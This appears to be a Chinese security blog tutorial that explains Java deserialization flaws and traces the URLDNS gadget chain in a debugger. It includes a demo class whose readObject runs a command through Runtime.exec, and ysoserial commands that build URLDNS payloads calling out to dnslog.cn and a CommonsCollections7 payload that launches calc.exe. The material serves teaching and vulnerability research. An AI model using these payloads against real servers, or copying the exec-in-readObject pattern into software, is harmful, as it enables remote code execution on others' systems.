java反序列化漏洞解析+URLDNS利用链分析

一些基本的概念

为什么要序列化?

1.数据持久化

2.远程传输

3.缓存 提高访问速度

什么样的数据可以进行序列化?

被序列化的类必须属于 Enum、Array 和 Serializable 类型其中的任何⼀种,否则将抛出NotSerializableException 异常

序列化:把⼀个Java对象变为 byte[] 数组,需要使⽤ ObjectOutputStream 。它负责把⼀个Java对象写⼊⼀个字节流。

反序列化:和 ObjectOutputStream 相反, ObjectInputStream 负责从⼀个字节流读取Java对象

反序列化时可能会出现的异常:

1.ClassNotFoundException :没有找到对应的Class

2.InvalidClassException :Class不匹配

serialVersionUID:Java的序列化允许class定义⼀个特殊的 serialVersionUID 静态变量,⽤于标识Java类的序列化"版本",通常可以由IDE⾃动⽣成。如果增加或修改了字段,可以改变 serialVersionUID 的值,这样就能⾃动阻⽌不匹配的class版本。

基本的使用

写几段代码更好地去理解java序列化 反序列化的过程

1.java序列化代码

Test类:

java 复制代码
import java.io.IOException;
import java.io.Serializable;

public class Test implements Serializable {


    private String cmd;
    public Test(String cmd) {
        this.cmd = cmd;
    }

    //重写readObject方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println(cmd);
        Runtime.getRuntime().exec(cmd);//代码执行点

    }
}

主类:

java 复制代码
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

//TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或
// 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。
public class Main {
    public static void main(String[] args) throws IOException {

        Test test = new Test("calc.exe");
        //将序列化内容写⼊⽂件
        FileOutputStream fos = new FileOutputStream("test1.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(test);
        oos.close();
        fos.close();


    }
}

2.java反序列化代码

Test类:

java 复制代码
import java.io.IOException;
import java.io.Serializable;

public class Test implements Serializable {


    private String cmd;
    public Test(String cmd) {
        this.cmd = cmd;
    }

    //重写readObject方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println(cmd);
        Runtime.getRuntime().exec(cmd);//代码执行点

    }
}

主类:

java 复制代码
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

//TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或
// 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。
public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {

        //从⽂件中读取并反序列化
        FileInputStream fio = new FileInputStream("test1.ser");
        ObjectInputStream ois = new ObjectInputStream(fio);
        Test bbbb = (Test)ois.readObject();
        ois.close();
        fio.close();
        System.out.println(bbbb);

    }
}

3.执行serialize项目序列化代码执行序列化 生成test1.ser序列化文件

010editor打开文件看下序列化的文件内容

序列化文件头AC ED 00 05

还依稀能看到我们传入的calc.exe参数

4.复制test1.ser文件到unserialize项目文件夹下 模拟序列化数据传到服务端的业务场景

运行项目 进行反序列化 成功弹出计算器

反序列化漏洞利用成功

后续测试

1.此时是服务端,也就是unserialize项目有Test类的情况

如果现在把服务端(unserialize项目)中的Test类删除,还可以正常进行反序列化弹出计算器吗?

当然删了Test会报红 需要对主类进行一些修改:

java 复制代码
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

//TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或
// 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。
public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {

        //从⽂件中读取并反序列化
        FileInputStream fio = new FileInputStream("test1.ser");
        ObjectInputStream ois = new ObjectInputStream(fio);
        Object bbbb = ois.readObject();
        ois.close();
        fio.close();
        System.out.println(bbbb);

    }
}

这时候再运行会报ClassNotFoundException

这时就无法正常进行反序列化了

2.那如果是服务端的Test类(unserialize项目)和我们生成序列化数据的类(serialize项目)不一样 服务端还可以反序列化成功吗?

还原主类 修改Test类

Test类:新加了一个aaaa的string字段

java 复制代码
import java.io.IOException;
import java.io.Serializable;

public class Test implements Serializable {


    private String cmd;
    public String aaaa;
    public Test(String cmd) {
        this.cmd = cmd;
    }

    //重写readObject方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        System.out.println(cmd);
        Runtime.getRuntime().exec(cmd);//代码执行点

    }
}

主类:

java 复制代码
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

//TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或
// 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。
public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {

        //从⽂件中读取并反序列化
        FileInputStream fio = new FileInputStream("test1.ser");
        ObjectInputStream ois = new ObjectInputStream(fio);
        Test bbbb = (Test)ois.readObject();
        ois.close();
        fio.close();
        System.out.println(bbbb);

    }
}

执行后出现InvalidClassException异常

工具的使用

以上的代码只是一个测试的例子,实际业务中的代码不会有这种写法。那对于实际业务该如何去发现和利用反序列化漏洞呢?

首先就是看项目代码中有没有反序列化的写法,以及序列化的数据用户是不是可控的!!!

如果以上两点都满足,就可以去验证利用一下反序列化的漏洞了。

java的反序列化漏洞利用是要依赖攻击链的,我们通常称利用链为gadget,可以将 gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束。Java标准库及第三方公共类库组合达到某个反序列化漏洞,不同的攻击链依赖的组件不同,所以能达到的攻击效果也是不同的,上面的代码中的readobject()方法其实就是模拟了一个利用链。

利用链太多了,所以我们需要工具来帮助我们生成某个利用链的序列化数据payload。

比如ysoserial

ysoserial工具的使用

1.查看利用链 和依赖的组件:

bash 复制代码
java -jar ysoserial-all.jar

第三列的就是利用链要依赖的组件,必须确保利用链有引入依赖组件版本才可以利用。空白的表示不需要组件的依赖,有多个的表示服务端只要有其中一个组件就可以利用。

2.开始利用

为了方便引入各个组件 可以再新建一个maven构建系统的项目

代码如下:

java 复制代码
package org.example;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

//TIP 要<b>运行</b>代码,请按 <shortcut actionId="Run"/> 或
// 点击装订区域中的 <icon src="AllIcons.Actions.Execute"/> 图标。
public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {

        //从⽂件中读取并反序列化
        FileInputStream fio = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fio);
        Object bbbb = ois.readObject();
        ois.close();
        fio.close();
        System.out.println(bbbb);
    }
}

这次就彻底没有Test类了

我们先试一下URLDNS链 它不需要组件的依赖 我们试一试

bash 复制代码
java -jar ysoserial-all.jar URLDNS "http://d5285u.dnslog.cn" > payload1.ser

序列化的payload生成成功

复制到unserialize2项目路径下 记得改代码中的文件名

利用CommonsCollections1攻击链

需要commons-collections:3.1组件

用pom.xml导入

利用ysoserial生成paylaod

但是CommonsCollections1利用链执行失败了 可能和jdk版本有关系 后来换到了CommonsCollections7才执行成功

bash 复制代码
java -jar ysoserial-all.jar CommonsCollections7 calc.exe >payload7

毕竟CommonsCollections7利用链也是依赖ommons-collections:3.1嘛。

URLDNS利用链分析

urldns链是最简单的利用链了,通过分析它可以更清晰地了解到攻击链的调用过程,也能加深理解。

bash 复制代码
java -jar ysoserial-all.jar URLDNS http:6w1qwt.dnslog.cn > urldns

1.加断点跟进调试

2.强制步入readObject()方法

发现又调用了readObject0()方法 步入

到这儿其实已经读取序列化数据了 通过switch case语句来看到底是什么类型的对象

确认是object的类

步入readOrdinaryObject()函数

有检查序列化依赖的类是否在本地存在 依赖的是HashMap类

继续往下看 新建一个HashMap对象 当前为空

通过readSerialData()方法向新建的空的obj类型为HashMap的对象赋值

步入readSerialData()方法查看详情

有获取一些序列化的数据 判断是否存在readObject方法

继续看有通过invokeReadObject()反射函数处理obj对象

步入invokeReadObject()函数

接下来就是一连串的反射 持续跟进

再步入就到了HashMap.java 到这儿其实都是每个利用链一样的调用链 用其他利用链 比如CommonsCollections7利用链 到这儿其实都一样 接下来就是每个利用链独有的东西了。

readObject()函数的作用就是更好地还原对象

接下来有调用putVal()函数 和hash()函数

key的值便是dnslog平台的地址

步入hash()函数

当key值不为空的时候会调hashCode()函数

步入hashCode()函数 进入URL.java文件

当hashCode值为-1时 会有handler调用hashCode

步入handler.hashCode()

u就是我们传入的序列化数据的域名

有调用getHostAddress()函数

步入getHostAddress()函数

有调用InetAddress.getByName()函数

这个函数的作用呢就是根据域名解析获取到ip地址 自然会用dns解析的过程

到这儿其实这个URLDNS链就分析完成了

已经是最短的利用链了

涉及到的文件HashMap URL URLStreamHandler等都是jdk库自带的 所以不需要其他的组件就可以执行成功

相关推荐
她说..2 小时前
MySQL数据处理(增删改)
java·开发语言·数据库·mysql·java-ee
BD_Marathon2 小时前
【JavaWeb】ServletContext_域对象相关API
java·开发语言
重生之后端学习2 小时前
238. 除自身以外数组的乘积
java·数据结构·算法·leetcode·职场和发展·哈希算法
yaoxin5211232 小时前
269. Java Stream API - Map-Filter-Reduce算法模型
java·python·算法
招风的黑耳2 小时前
智慧养老项目:当SpringBoot遇到硬件,如何优雅地处理异常与状态管理?
java·spring boot·后端
rockmelodies2 小时前
亿赛通脚本远程调试配置技巧
java·亿赛通·debug调试
❥ღ Komo·2 小时前
K8s蓝绿发布实战:零停机部署秘籍
java·开发语言
小安同学iter3 小时前
天机学堂-排行榜功能-day08(六)
java·redis·微服务·zset·排行榜·unlink·天机学堂